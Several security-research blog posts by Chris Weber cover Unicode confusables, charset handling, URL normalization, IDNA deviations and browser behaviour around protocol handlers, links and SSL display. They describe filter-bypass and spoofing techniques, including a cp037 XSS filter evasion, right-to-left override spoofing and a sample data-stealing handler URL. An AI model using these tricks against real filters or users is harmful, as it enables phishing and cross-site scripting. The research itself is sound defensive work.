chris weber's blog

Generating confusable, lookalike strings

noreply@blogger.com (Chris Weber) — Thu, 05 Apr 2012 00:43:00 +0000

The Unicode Consortium released a utility to generate confusable strings quite a while ago. Since I've seen people trying to create similar tools themselves recently, I thought it might be worth mentioning.

In case you haven't received the memo about confusables, also known as homoglyphs, lookalikes, and spoofs - they are characters that visually resemble or are indistinguishable from another character. You can read more about it here or virtually any other place on the Web by searching for some of these terms. For example the following two characters are visually similar and confusing:

FF21 ; 0041 ; SA # ( Ａ → A ) FULLWIDTH LATIN CAPITAL LETTER A → LATIN CAPITAL LETTER A

Sometimes during penetration testing, we want to bypass profanity filters, spoof URLs, spoof email addresses, or perform other tasks. Being able to generate lookalike strings can be quite useful in these cases, but of course is not the only method required. If you require such capability, then go check out the Unicode Consortium's utility at http://unicode.org/cldr/utility/confusables.jsp, but please don't share this link with the bad guys.

Unicode Normalization in URLs

noreply@blogger.com (Chris Weber) — Sat, 17 Mar 2012 19:22:00 +0000

In some contexts, normalizing a string means upper or lower-casing it. In Unicode "normalization" means something much different. The Unicode standard offers four "normalization" forms which irreversibly transform a given character or sequence of characters according to either a simple mapping rule, or a more complex algorithmic rule. -Since browser interoperability depends on each browser processing a URL the same as the next, I thought testing some of the more popular browsers might be a good idea.

Why should you care?

If you're a Web developer using Unicode anywhere in your URLs, then you're probably concerned when those URLs get handled differently in various Web browsers. If you're a penetration tester, you probably like to find quirky ways that URLs get transformed.

Test Setup

To test Unicode normalization I used some of the character sequences from Unicode Standard Annex 15 "Unicode Normalization Forms" and others from RFC3197. From TR15 I looked at a Singleton from Figure 3 - U+212B which normalizes to U+00C5 Å under NFC, and U+0041 U+030A Å under NFD. I also looked at multiple combining marks from Figure 5, U+10EB U+0323 ძ̣, and the sequence U+1E9B U+0323 ẛ̣ from Figure 6 Compatibility Composites. Through those few tests we can test for each of the four normalization forms, and see NFC being applied in Safari and Chrome (in different ways), and rule out NFD, NFKC, and NFKD.

Test Results

I was hoping to find some security bugs, but only found interoperability bugs. That doesn't mean security bugs don't exist here. As if URLs weren't tricky enough with plain old ASCII, handling Unicode characters makes them even more open to interpretation. For example, an Internationalized Resource Identifier (IRI) with a path, query, and fragment containing U+212B #Å means code point U+212B to IE, Firefox, and Opera, but it means U+00C5 #Å to Chrome (in the fragment only), and U+00C5 percent-encoded #%C3%85 to Safari (in the path, query, and fragment).

These types of character transformations make for ripe targets in security testing, but only when the resulting character has some practical use such as bypassing an XSS or SQL injection filter. When a certain input X transforms to become Y, an attacker has more opportunity slip a malicious link or XSS payload past an unsuspecting defensive filter. In testing how Web browsers normalize Unicode across a URL/IRIs components, I made the following observations.

Safari applies NFC normalization to the path, query, and fragment.
Chrome applies NFC normalization to the fragment only.
MSIE, Firefox, and Opera do not apply normalization anywhere.
MSIE violates RFC 3986 by sending raw, unescaped UTF-8 bytes in the query during an HTTP request.
Chrome, Safari, Firefox, and Opera all send percent-encoded UTF-8 in the path and query during an HTTP request
Safari percent-encodes the fragment.

Firefox and Opera seem to be the only two that agree in all tests, Chrome is a little odd with the fragment, and Safari is the odd-guy out across the entire URL. IE is the only browser that sends raw UTF-8 encoded bytes out on the wire (in the query component only), but I think that RFC 3986 allows for that anyway.

My conclusions were based on reviewing the following:

The DOM property values for the anchor element, which included an individual the test case.
The raw HTTP GET request (for the img) as sniffed off the wire using winpcap, triggered by a test case using the img element

The spreadsheet spreadsheet below includes table of results observed from the test cases, and can also be opened in a separate window.

Testing charset encoding support in Web Browsers

noreply@blogger.com (Chris Weber) — Mon, 13 Feb 2012 17:09:00 +0000

Note: To jump straight to test page click here http://www.lookout.net/test/charsets/ascii-unsafe/

Web browsers support a variety of character set encodings mostly for legacy reasons and backwards compatibility. After all, UTF-8 and a handful of other encodings today are capable of representing all of the characters that were once relegated to a wide assortment of character encodings. It's clearly evident from Google's February 2012 report that UTF-8 is dominating the Web, with 60% of Web documents using UTF-8 - and that number is rising as other legacy character encodings are declining in use.

Those of us who test Web application security are often concerned with character encodings in our attempts to manipulate string input in ways that would eventually lead to mayhem. For that reason it's good to know a bit not just about which encodings the server-side components support, but also which ones the Web browser supports. I've documented the results of testing character set support in Web browsers in the table below, along with a brief summary.

Test Results

The following table, which can also be opened in a new window, lists all of the supported charset encodings in each Web browser tested on a Windows 7 and Ubuntu 11.10 OS where possible. Testing was only concerned with IANA's official list of character set names that may be used on the Internet.

Default Fallback Encoding

Most browsers use UTF-8 as the default fallback encoding. However Safari, and Chrome on Ubuntu, fell back to ISO-8859-1 when an unrecognized charset label, such as "freshies", was tested.

Supported charset labels

The results also show all supported character set labels per browser, in a comma-separated form of named_charset,interpreted_charset where the named_charset was the test case and the interpreted_charset was what the Web browser's contentDocument.charset property returned. Using iso-ir-144,ISO-8859-5 as an example - the test returned a document with the HTTP Content-Type set to iso-ir-144. Then the contentDocument.charset property was checked and found to be ISO-8859-1. Since the two were aliases for one another the test was considered a pass, meaning the charset label was supported by the browser.

Charset labels that fallback to non-equivocal IANA alias

If the contentDocument.charset returned a value that was not an equivalent charset alias for the test case (according to IANA's list) then it was deemed a failed test case. Often however, the interpreted_charset was in fact an equivalent, or superset, encoding, even though it was not listed as so by IANA. In some barely interesting cases a vendor-specific charset label could be found this way, such as unicodeFEFF which seems to only be used by Internet Explorer.

Testing ASCII-unsafe encodings in Web browsers

noreply@blogger.com (Chris Weber) — Mon, 06 Feb 2012 16:00:00 +0000

Note: To jump straight to test page click here http://lookout.net/test/charsets/ascii-unsafe/

[UPDATE: Some feedback from Anne van Kesteren pointed to the fact that all browsers do support HZ-GB-2312, even though the test results showed IE and Firefox did not. The direct URL for that particular encoding test is http://lookout.net/test/charsets/ascii-unsafe/charset.php?alias=HZ-GB-2312. Looking closer it seems the ICU trancoding added a two-byte preamble to the string, which are 0x7E 0x7D, or '~}'. I'm not very familiar with HZ-GB-2312 but a quick look at RFC 1843 tells me that this two-byte sequence switches the context from GB-mode to ASCII-mode. So it seems that Firefox and IE do not recognize this mode-switching byte-sequence, or at least not in this context.]

Web browsers support a variety of character set encodings which could be broadly categorized as either ASCII-safe [1] or ASCII-unsafe [2]. The goal of this test was to identify which ASCII-unsafe character encodings were supported by each Web browser.

String encodings play an important role in testing Web applications for security vulnerability. If I can control some input's encoding then I will manipulate it in ways that might confuse a parsing process or bypass a defensive filter. To use a common example - imagine you input a string somewhere that includes the U+003E GREATER-THAN SIGN '>' in a meager attempt at cross-site scripting. An XSS filter consumes the input as UTF-8 (which is ASCII-safe) and immediately recognizes the 0x3E byte sequences as something naughty, at which point it throws back an error message. Since you realize that a query string parameter (e.g. &charset=utf-8) controls the page's output encoding you change the charset parameter's value to 'cp037' and encode the input string accordingly. In the cp037 encoding, the '>' character is represented with the byte 0x6E, which in ASCII would be the 'n' character, two completely different characters. The character slips by the filter which assumes it was encoded as UTF-8, and makes its way on to the destination. The reason for the confusion was that the two encodings cp-037 and UTF-8 (ASCII-safe) are not compatible.

How the testing was setup

The test page attempts to identify which ASCII-unsafe charset a Web browser supports by loading a string encoded in each charset, and testing if the browser decoded it as expected. The page uses the XmlHttpRequest to fetch each string from the server, which returns the string in an HTTP request that includes the Content-Type header, and the corresponding charset label for the test case. The test page then decodes the string according to the charset label, and tests it for equivalence with the following static control string.

 $%'()*+,-./<>:;=

There are some potential pitfalls to this approach. The most obvious being that the browser may not officially support the given charset encoding under test, but it instead may be applying some intelligence (e.g. sniffing) to the string to try and figure out what it's encoding could be. For example, many of the ASCII-unsafe encodings share similar ranges of characters, where the '>' may actually be represented with byte 0x6E in all of of them. So if you were to test using only a single character you might end up with false positives if the browser was sniffing and decided that the encoding was 'cp237' instead of the 'cp037'. Although these are both variants of EBCDIC, there are some differences. So the test ended up using a string of many characters, which still doesn't totally solve the challenge. However, it works okay and produces decent results.

Because the testing uses the ICU project to build the test strings, it's limited to only the character set tables that ICU includes. That's quite a lot mind you, but some other interesting variants and oddities might not be included.

Transcoding the test string

The test string shown above uses 17 characters with familiar names - this string gets transcoded into 417 different character set encodings (the recurring 17 is just coincidence, I think). Because most of the 417 labels are just aliases for a superset, they can be further grouped into a much smaller set of around 17 (just kidding) encodings.

The ICU project's Converter API was used to perform the transcoding. ICU also provided all of the charset aliases/labels used for testing. The code for transcoding is available on github for the curious.

Test Results

The following table, which can also be opened in a new window, lists all of the ASCII-unsafe charsets supported in each Web browser tested.

Notes

[1] ascii-safe An ASCII-compatible character encoding is a single-byte or variable-length encoding in which the bytes 0x09, 0x0A, 0x0C, 0x0D, 0x20 - 0x22, 0x26, 0x27, 0x2C - 0x3F, 0x41 - 0x5A, and 0x61 - 0x7A, ignoring bytes that are the second and later bytes of multibyte sequences, all correspond to single-byte sequences that map to the same Unicode characters as those bytes in ANSI_X3.4-1968 (US-ASCII). [RFC1345]

[2] ascii-unsafe ASCII-compatible bytes do not map.

Testing registerProtocolHandler and the web+ scheme prefix

noreply@blogger.com (Chris Weber) — Mon, 30 Jan 2012 17:42:00 +0000

Note: jump straight to the test page for navigator.registerProtocolHandler and web+ if you'd rather...

A URI (Uniform Resource Identifier) is easily the most recognizable protocol element of the Web. A URL (Uniform Resource Locator) is a form of URI which includes an access mechanism (e.g. a network location). The terms are often used interchangeably, and to add to the terminology, these protocol elements may also be IRIs (Internationalized Resource Identifiers), which can be thought of as a fork of URI that may include characters outside of the US-ASCII character set. So, http://www.lookout.net/index.html would qualify as a URL, a URI, and an IRI. The 'scheme' part of this URI would be 'http', which refers to the specification that further defines how the URI parts should be processed.

The ABNF grammar for a URI scheme is defined by RFC3986 as:

scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )

Quite simply, scheme names can only consist of the letters a-z, the numbers 0-9, and the three special characters '+', '-', and '.'. Uppercase letters A-Z in a scheme name would be canonicalized to lowercase as defined by the spec and as we see in most implementations. The syntax rules for a scheme are simple and do not impose arbitrary length limits, although most implementations will enforce their own length limit. Schemes are registered through an official IANA registry. Depending on who you ask, the process is not difficult but does involve some time and a manual review. The registry was designed to centrally coordinate and organize scheme registrations so they would be documented and publicly available. However over the years, many scheme names have been invented by application owners who did not use this process.

Protocol handlers in the Web browser

The DOM function navigator.registerProtocolHandler takes three parameters - a URI, a scheme name, and a title. These are used to register a protocol scheme name, such as http or mailto, to an arbitrary URI that should be used to handle that scheme. For example, you might want to let Hotmail register the 'mailto' protocol to be handled by some URI like https://www.hotmail.com/?email=%s The '%s' is required in the URI registration and will be replaced with the entire reference URI.

For example using the above registration, if you clicked on a link like mailto:chris@lookout.net the browser would open https://www.hotmail.com?email=mailto%3Achris%40lookout.net. In fact, the registration may persist at the OS layer, in which case it would be available to any application.

web+ is a new scheme prefix introduced by HTML5. I'm not clear on the purpose of this new prefix, but I can imagine seeing future schemes like web+tweet, web+like, and web+comment. In practice I suppose that application developers could register ad hoc schemes and would likely never go through the official IETF/IANA process. Some schemes would end up becoming popular and persisting while others would just fade away.

Risks to Security and Privacy

Many risks have been documented in the W3C specification including the following:

Hijacking all Web usage
Hijacking defaults
Registration spamming
Misleading titles
Hostile handler metadata
Leaking Intranet URLs
Leaking secure URLs
Leaking credentials

Others perhaps had not been considered or clearly listed, such as the capability to track users through unique identifiers appended to the web+ prefix, discussed more below.

Test results

The table below can also be opened in a separate window summarizes the test results, which are discussed a bit more below. The test page is available online where you can quickly run the canned tests or create ad hoc tests.

As you can imagine, it would be devastating if one could register an arbitrary web+ scheme to the 'javascript' handler. As many XSS filters around the web intentionally block 'javascript:' in forums and comments, they would be immediately hosed when web+foo could achieve the same affect. It would be just as devastating if the 'http' handler could be controlled, so that all links ended up going to http://nottrusted.com?stealing=your%20data. Fortunately, all browsers tested prohibited such registration attempts.

Also fortunate, all of the browsers tested properly prohibited cross-origin registrations, even within the same general domain - registrations to a subdomain and parent domain were both prohibited, as were registrations to completely different domains. However, both Firefox and Opera allowed registrations to https from an http domain, but only Firefox allowed the reverse - registration from an https origin to http. Additionally, Firefox was the only browser to allow registrations to URIs with completely arbitrary ports, e.g. 23.

And what characters are allowed in a web+ scheme? The specification allows only the letters a-z after the prefix, but does not propose limits on length. Opera did not allow web+ registrations during testing, and both Chrome and Firefox allowed more than the small set of characters a-z. In fact, Firefox allowed any character whatsover to be registered, with or without the prefix, including any Unicode code point. Chrome only allowed the characters +, -, ., a-z, A-Z, and 0-9, in the ASCII range. Chrome was also liberal with Unicode and would allow most, but not all, code points above U+00FF. Of course this is pointless, because having anything but the URI-defined set of limited ASCII in the scheme would be prohibited and instead interpreted as a relative path in all modern Web browsers.

The User Interface seemed quite confusing in all cases except for Opera, which set the clearest message of the bunch. Both Chrome and Firefox used confusing messages that I cannot imagine a non-technical user would understand. Heck they were even confusing to me. Take a look at the following and judge for yourself, from top to bottom they are Opera, Firefox, and Chrome.

The primary spam protection is the infobar and requirement that a user must click 'yes' or 'no' to accept the registration or not. The UI could easily be flooded with infobars in Chrome, which tiled them vertically, making the Web page completely unusable after the window filled up, as in the image below.

One could also create a really long title, which would overflow the UI so the user would only see one big button, and would likely have little idea about what to do other than click the big button.

Firefox and Opera both at least overlapped the infobars so you would only ever see one at a time. Closing one would reveal the next one behind it.

It's also interesting to note how the registered protocol handlers would be stored. Chrome was the only browser that registered handlers at the OS-layer, making them available to all applications. In Windows this meant storing the registrations in the registry under the HKEY_CLASSES_ROOT hive, which required administrative elevation to register. In Ubuntu, they'd be stored in ~/.local/share/applications/mimeapps.list. Opera stored registered protocol handlers in C:\Users\chris\AppData\Roaming\Opera\Opera\handlers.ini where they were only available to Opera, and Firefox took the same approach, storing them in C:\Users\chris\AppData\Roaming\Mozilla\Firefox\Profiles\wj7x1dmj.default\mimeTypes.rdf where they were actually mapped using the URN protocol.

Here's what a 'mailto' scheme registration looks like stored in Opera's handler.ini file:


[mailto]
Type=Protocol
Handler
Webhandler=http://www.lookout.net/?mail=%s
Description=mailto scheme
Flags=16

And here's what some snippets of a 'foobar' scheme registration looks like stored in Firefox's mimeTypes.rdf file:


<RDF:li RDF:resource="urn:scheme:foobar"/>
<RDF:Description RDF:about="urn:handler:web:http://www.lookout.net/foobar=%s"
                 NC:prettyName="The foobar scheme"
                 NC:uriTemplate="http://www.lookout.net/foobar=%s" />
<RDF:Description RDF:about="urn:scheme:foobar"
                 NC:value="foobar">
<NC:handlerProp RDF:resource="urn:scheme:handler:foobar"/>
<RDF:Description RDF:about="urn:scheme:handler:foobar"
                 NC:alwaysAsk="true">
<NC:possibleApplication RDF:resource="urn:handler:web:http://www.lookout.net/foobar=%s"/>

Further testing

I tried clobbering some registration entries in Firefox using certain Unicode characters that would be best-fit mapped to ASCII. In other tests, some characters seem like they obviously should not be allowed in a scheme name, like control characters, for example, 0x09 and 0x01. However, tests at using these combined with some Shazzer vectors for characters allowed before the javascript scheme name did not work. While the registrations were allowed in Firefox, such as " javascript" with a leading SPACE, I believe some pre-processing removes that when encountered in an href attribute.

As far as penetration testing Web applications, we'll want to keep an eye out for usage of navigator.registerProtocolHandler, and closely inspect what the use case and implementation details might be. For example, it makes sense that GMail or Hotmail would want to register the mailto handler to their URL. Is that URL dynamically generated and can it be controlled by user-input? If an attacker could for example inject the hostname part of the URL then they could cause some mischief, or at the least steal email addresses and other data present in the mailto link. We'll also want to keep an eye out for registrations of web+foo schemes for similar issues including data ex-filtration and URL-control. I'm sure other folks can think of more threats and abuse cases, if so please let me know! Otherwise, time will tell.

Risks to user-tracking and fingerprinting

Another threat to consider is the way the web+ prefix would allow sites to set persistent unique identifiers in a user's Web browser. This issue was brought up by James Hawkins, author of Web Intents draft, on the WHATWG mailing list. It also became evident to me during testing when I realized I could set a unique identifier through the web+ protocol scheme - something like web+[some_unique_id]. Sites (from any origin) could later use the isProtocolHandlerRegistered(scheme, url) to identify its visitors, and even track their movement across the Web. As we've seen with trickery employed by advertising agencies in the past, those unique ids could be bundled and shared. However, the isProtocolHandlerRegistered API was not implemented during testing so I could not confirm this.

IDNA2003, IDNA2008, domain and sub-domain registrations during the transitional period

noreply@blogger.com (Chris Weber) — Fri, 08 Jul 2011 12:01:00 +0000

To continue on with the discussion about THE RISKS OF USING “ESZETT” OR “SHARP S” (“SS”) IN DOMAIN NAME - this character is just one of four deviation characters that will certainly cause mischief and mayhem in the coming years. Here's the deal, the registries and registrars are moving from the initial specification that allowed Internationalized Domain Names (IDN) to be registered. It was called IDNA and is now referred to as IDNA2003. They're moving to the new specification which is called IDNA2008 although it didn't officially become a standard until the year 2010. Hang with me this may actually affect you, whether your a registry like DENIC, a browser like Internet Explorer, a second-level registry like tumblr.com, or simply a customer who wants a domain name.

There's a problem with these two specs - they're incompatible, and most of the risk here will be found during the "transitional period" when registries are upgrading. That's on purpose mind you, and was deemed to be the best choice for the decades ahead of us. Eventually we want to completely get rid of IDNA2003 and get the whole world on IDNA2008 - registries, Web browsers, anything that processes IDN's.

A lot of characters will be handled differently under the new rules of IDNA2008. Four characters in particular, called the deviation characters, are poised to cause mayhem during the transitional period as domain name registries shift to IDNA2008. Why? Because for a period of time domain names using these characters may actually resolve to two different IP addresses - depending on which IDNA rules the client/Web browser has implemented.

But just what is a domain name registry anyway? To keep it simple, we can think of a registry as the overarching authority for a top-level-domain (TLD). Most TLDs are well-known like .com, .net, and .org, and each has a single registry that enforces some rules and manages all domain name records. This also ensures the same domain name can't be registered by more than one party. Registrars on the other hand are sort of resellers, like Godaddy, Enom, and Dyndns who will sell the domain names to customers. They still need to comply with the rules of the registry.

But we can also think of some domains as their own second-level registries. For example, blogspot.com, tumblr.com, smugmug.com each have millions of customers with their own domain name like http://google.blogspot.com/. In this way they're acting as registries providing subdomains, one per customer. So all of these second-level registries will also be affected by IDNA's transitional period, if they decide to even offer IDNs in their subdomains - most don't currently.

The four deviation characters are of particular concern, named so because how they're handled is different under IDNA2003 rules than they are under IDNA2008 rules:

U+200C ZERO WIDTH NON-JOINER

U+200D ZERO WIDTH JOINER

U+00DF ( ß ) LATIN SMALL LETTER SHARP S

U+03C2 ( ς ) GREEK SMALL LETTER FINAL SIGMA

The two JOINERs get dropped under IDNA2003 but are valid in IDNA2008 under certain language contexts. The "ß" maps to "ss" under IDNA2003 but does not map under IDNA2008, and the "ς" maps to "σ" under IDNA2003 but does not map under IDNA2008. For a good visual of this see Table 1 of UTS46.

What does it all mean?

In the end, if you currently have a domain containing "ss" or "σ" then you may want to register the domain using the new character supported under IDNA2008 if it suits your market. That's not to say you should by any means, for example "ssa.gov" probably does not care to register "ßa.gov" since it's market is the United States. But a German bank named "Gießen Savings and Loan" who currently owns http://www.sparkasse-giessen.de will certainly want to register http://www.sparkasse-gießen.de.

As far as the JOINERs, that's a whole other story, but legitimate registrations should only be allowed for certain sequences of Arabic or Indic characters. The use cases are limited to those, and registries will be required to implement those restrictions. However, clients who perform IDNA2008 lookups are not required to implement those restrictions.

Is my registry IDNA2008 enabled?

I don't know but I'd suggest checking with them. DENIC decided not to implement the bundling or blocking recommendations and instead gave their customers about 3 weeks to register the alternate domain that would resolve to them normally under IDNA2003 but not under IDNA2008. Seems like a short period of time to me, if you were on vacation you might have missed the chance. But the choice is up to the registry. So check with your registrar or the registry to find out where they're at with their upgrade plans.

The risks of using "Eszett" or "sharp s" ("ß") in domain names

noreply@blogger.com (Chris Weber) — Thu, 30 Jun 2011 13:31:00 +0000

With the transition from IDNA2003 to IDNA2008, there will be four characters that deviate in how they're handled. Meaning that when they are used in a domain name, these characters will resolve to a different IP address under the rules of IDNA2003 than they do under the rules of IDNA2008. On such character is the Latin small letter sharp s – also known as "Eszett" or "sharp s" ("ß") with code point U+00DF. Registries have been advised to implement bundling and blocking rules that would protect the registrants of domains with the character "ß" in them. This would mean that an owner of http://straße.de would also be the guaranteed owner of http://strasse.de. However, some registries such as DENIC are not implementing these measures as they move to IDNA2008.

This means that when Alice goes to visit http://straße.de in her favorite browser that implements IDNA2008 she'll be taken to the domain she expects. But when she visits the site at her friend's Bob house, using his browser that implements IDNA2003, she'll be taken to http://strasse.de which could be a spoofing site. In a scenario such as online banking this becomes a big deal. And we can't possibly expect Alice and Bob to be aware of these incompatibilities can we? Time will tell.

Many stops equal a U+002E full stop

noreply@blogger.com (Chris Weber) — Tue, 28 Jun 2011 21:46:00 +0000

In IDNA-aware (IDNA2003) applications, the "dot" character we see in domain names like www.example.com has several equals. Specifically the following characters are all equivalent under IDNA rules:

U+002E (full stop)
U+3002 (ideographic full stop)
U+FF0E (fullwidth full stop)
U+FF61 (halfwidth ideographic full stop)

So the following Unicode strings are valid domain names and hyperlinks. Note that what you see on the surface of the page content is what's in the anchor tag's href attribute. By the time you hover your mouse over the link and even click it, the IDN-aware Web browser will have already normalized all the dot-equivalents to the U+002E full stop. To see the test case, either copy the hyperlink using your browser's context menu (e.g. right click) or view the source of the page.

www.example.com U+002E (full stop)
www。example。com U+3002 (ideographic full stop)
www．example．com U+FF0E (fullwidth full stop)
www．example．com U+FF61 (halfwidth ideographic full stop)

There's actually a couple more bonus that equate to U+002E according to additional mapping rules:

www․example․com U+2024 (one dot leader)
www﹒example﹒com U+FE52 (small full stop)

Are there any IDNA-aware WAF's out there? Has anyone seen this employed to bypass spam or phishing filters?

Abusing hyperlink auditing and the "ping" attribute in HTML

noreply@blogger.com (Chris Weber) — Wed, 22 Jun 2011 13:57:00 +0000

I just learned about this proposed feature of HTML which as Anne van Kesteren noted is not in HTML5 at the moment but might be in HTML6.

http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#hyperlink-auditing

So "a" and "area" elements would support a "ping" attribute as a space-separated list of URIs that should contacted when the hyperlink is activated. So someone clicks on the link and each of the URIs in the "ping" would receive an HTTP POST with the string "PING" in the body. The request must also include either a "Referrer" header or a new "Ping-From" header which would include the same value. This can obviously be useful for tracking purposes, and hopefully third-party sites could be easily (and by default) blocked rather than having an option to "selectively ignore URLs in the list (e.g. ignoring any third-party URLs)".

I can imagine some other abuse cases here around flooding - e.g. the URL could easily by appended with junk causing large HTTP requests to get sent to an inordinately large list of URIs.

Information could be leaked in the usual sense of Referrer/Ping-From leaks. Anything else come to mind?

Some browsers convert pipe "|" to colon ":" in the file scheme

noreply@blogger.com (Chris Weber) — Mon, 20 Jun 2011 19:41:00 +0000

I just thought this was odd, and may be exploited in cases where a security filter checks the string before the conversion takes place.

Here are the results of the DOM parsing for "file://c|/foo/bar". Internet Explorer and Google Chrome both convert the "|" to the ":" in the path component. Windows actually treats the "|" as a ":" in the path, which may also seem odd, but then why would these browsers feel the need to convert the character?

Test Case
================

file://c|/foo/bar

Results
================

RawUrl Browser
file:///c:/foo/bar MSIE 7.0
file:///C:/foo/bar Chrome/12.0.742.100
file:///c|/foo/bar Firefox/4.0.1
file://c|/foo/bar Safari/5.05
file://localhost/c|/foo/bar Opera/9.80

I can understand being liberal in accepting "|" characters in the path segment, even though RFC3986 and 3987bis would have you percent-encode it to "%7C". But I didn't realize that IE and Chrome would actually perform a transformation on the input in this way.

Special Unicode characters for testing, fuzzing, and controllingthe visual display of text

noreply@blogger.com (Chris Weber) — Thu, 02 Jun 2011 23:00:00 +0000

WARNING: Some of these characters may cause strange things to happen in your software.

Of course, that's the point right? Here's a minimal set of special Unicode characters I like to use in application testing. This bit is from a small Unicode generation library I use for a fetching things like:

best fit mappings

Unicode normalization mappings

ill-formed byte sequences

overlong-utf8

non-characters

private use area (PUA)

unassigned code points

code points with special meaning such as the BOM and RLO

half-surrogate values

invisible characters

Some of these (the RLO and MVS) are useful for visual spoofing or controlling the visual appearance of text in modal dialog boxes or other user-controlled content. For example, through the RLO character in the middle of a string to switch the reading order so the characters run right-to-left. Like so:

The site www.example.com‮‮ is known to host malware, continue?

A lame example I know but the point is as a software developer you should never let the override characters into your code. Other characters have caused weird (often exploitable) errors in Web applications, Web browsers, Web servers and other software I've come across. For example, if an ASP.NET application is passing user-controlled input to a StreamWriter it will enter an irrecoverable error condition leading to a permanent (until restarted) denial of service when an illegal surrogate (a single low surrogate without a matching high or vice versa) is encountered.

 /// The Byte Order Mark U+FEFF is a special character defining the byte order and endianess
/// of text data.
///


public static readonly string uBOM = "\uFEFF";
///
/// The Right to Left Override U+202E defines special meaning to re-order the
/// display of text for right-to-left reading.
///
public static readonly string uRLO = "\u202E";
///
/// Mongolian Vowel Separator U+180E is invisible and has the whitespace property.
///
public static readonly string uMVS = "\u180E";
///
/// Word Joiner U+2060 is an invisible zero-width character.
///
public static readonly string uWordJoiner = "\u2060";
///
/// A reserved code point U+FEFE
///
public static readonly string uReservedCodePoint = "\uFEFE";
///
/// The code point U+FFFF is guaranteed to not be a Unicode character at all
///
public static readonly string uNotACharacter = "\uFFFF";
///
/// An unassigned code point U+0FED
///
public static readonly string uUnassigned = "\u0FED";
///
///  An illegal low half-surrogate U+DEAD
///
public static readonly string uDEAD = "\uDEAD";
///
/// An illegal high half-surrogate U+DAAD
///
public static readonly string uDAAD = "\uDAAD";
///
/// A Private Use Area code point U+F8FF which Apple happens to use for its logo.
///
public static readonly string uPrivate = "\uF8FF";
///
/// U+FF0F FULLWIDTH SOLIDUS should normalize to / in a hostname
///
public static readonly string uFullwidthSolidus = "\uFF0F";
///
/// Code point with a numerical mapping and value U+1D7D6 MATHEMATICAL BOLD DIGIT EIGHT
///
public static readonly string uBoldEight = char.ConvertFromUtf32(0x1D7D6);
///
/// IDNA2003/2008 Deviant - U+00DF normalizes to "ss" during IDNA2003's mapping phase,
/// different from its IDNA2008 mapping.
/// See http://www.unicode.org/reports/tr46/
///
public static readonly string uIdnaSs = "\u00DF";
///
/// U+FDFD expands by 11x (UTF-8) and 18x (UTF-16) under NFKC/NFKC
///
public static readonly string uFDFA = "\uFDFA";
///
/// U+0390 expands by 3x (UTF-8) under NFD
///
public static readonly string u0390 = "\u0390";
///
/// U+1F82 expands by 4x (UTF-16) under NFD
///
public static readonly string u1F82 = "\u1F82";
///
/// U+FB2C expands by 3x (UTF-16) under NFC
///
public static readonly string uFB2C = "\uFB2C";
///
/// U+1D160 expands by 3x (UTF-8) under NFC
///
public static readonly string u1D160 = char.ConvertFromUtf32(0x1D160);

How Web browsers display a standard SSL connection compared with an EVSSL connection

noreply@blogger.com (Chris Weber) — Fri, 27 May 2011 23:15:00 +0000

Secure Sockets Layer (SSL) is a peer to peer (or client to server) communication protocol designed to encrypt the data being transmitted between two computers over the Internet. This protects the data from "man-in-the-middle" attacks where a third computer could eavesdrop on the conversation and not only read the data but also modify it in transit. SSL is certainly one of the earliest security protection added to Web browsers and after several revisions has led to its successor the Transport Layer Security (TLS) protocol. To use SSL, a webmaster much purchase a certificate from a Certificate Authority and install it on their Web server. When visiting the site, a Web browser will read the sever's certificate and use its key information to set up an encrypted connection between the browser and the server.

Each of the most popular modern Web browsers notifies end users that SSL is active through the use of special icons, colors, or other visual notifiers added to the browser chrome that make it clear something good is happening. In fact the display if quite different depending on the *type* of SSL certificate purchased and used on the site. The prominent Extended Validation (EVSSL) certificate obviously gets the best branding currently. Use of an EVSSL certificate will often be presented with colorful green indicators in the Web browser, a sure sign that something even better is happening, right?

Unfortunately each browser presents this information in a different and sometimes confusing way. To add to the fragmentation, many browsers have a history of changing even their own presentation habits for SSL. Perhaps that factor is just a product evolution from years of user feedback and usability testing, but modifying significant design elements does change the game for better or worse. Here's a look at how the following browsers display an active and error-free SSL connection to the end user.

Internet Explorer 9

Internet Explorer 8

Firefox 4

Firefox 3

Opera 11

Safari 5

Konqueror 4

Chrome 11

Note that in the case of SSL connections which do contain errors, such as invalid host name or expired SSL certificate, the presentation changes, often significantly, to warn the end user that something bad is happening. I'm not showing what those look like though.

The following screenshots compare the display of a standard SSL certificateare only from valid, error-free SSL certificates and connections. Summarized as a table:

Browser	Standard SSL	EVSSL
Internet Explorer 9	Gray padlock in address bar	Gray padlock plus full green address bar with company name or CA
Internet Explorer 8	Yellow padlock in address bar	Yellow padlock plus full green address bar with company name or CA
Firefox 4	Blue security emblem in address bar	Green security emblem in address bar with company name
Firefox 3	Padlock at bottom plus blue security emblem in address bar	Padlock at bottom plus green emblem in address bar with company name
Chrome 11	Green padlock in address bar	Green padlock plus green emblem in address bar with company name
Opera 11	Dark padlock plus yellow emblem in address bar written as "Secure"	Dark padlock plus green emblem in address bar written as "Trusted"
Konqueror 4	Green shield with white check mark in address bar	Green shield with white check mark in address bar
Safari 5	Gray padlock in address bar	Gray padlock plus green company name in address bar

For more information about how browsers handle SSL certificates see the Browser Security Handbook.

Internet Explorer 9

With the basic SSL certificate above you can see a small, almost discreet, gray padlock icon in the right hand side of the address bar. There are no other visual signs.

With an EVSSL certificate the same padlock exists but the entire address bar is also colored green.

Internet Explorer 8

With the standard SSL certificate above there's a colored padlock displayed on the area to the right of the address bar.

With an EVSSL certificate above there's the same colored padlock displayed along with identify information plus the entire address bar is colored green.

Firefox 4

With a standard certificate above there's no padlock displayed anywhere, but there is an informational emblem displayed between the favicon and the URL in the address bar. It's standard color is blue for any site so this is not meant to look branded to Facebook even though it happens to be using the same colors.

With an EVSSL certificate above there's no padlock displayed anywhere, but there is an informational emblem displayed between the favicon and the URL in the address bar. It's colored green.

The above shot of https://encrypted.google.com is just to emphasize that the security emblem has a standard blue color.

Firefox 3

With standard certificate above there's a padlock displayed in the bottom right, and an informational blue-colored emblem displayed between the favicon and the URL in the address bar.

With an EVSSL certificate above there's a padlock displayed in the bottom right, and an informational green-colored emblem displayed between the favicon and the URL in the address bar.

Google Chrome 11

With a standard certificate above there's a small green padlock displayed in the left-hand side of the address bar.

With an EVSSL certificate above there's a small green padlock displayed in the left-hand side of the address bar along with a green-colored informational emblem.

Opera 11

With a standard certificate above there's a small dark padlock displayed in the left-hand side of the address bar along with a yellow-colored "Secure" emblem.

With an EVSSL certificate above there's a small dark padlock displayed in the left-hand side of the address bar along with a green-colored "Trusted" emblem.

Konqueror 4

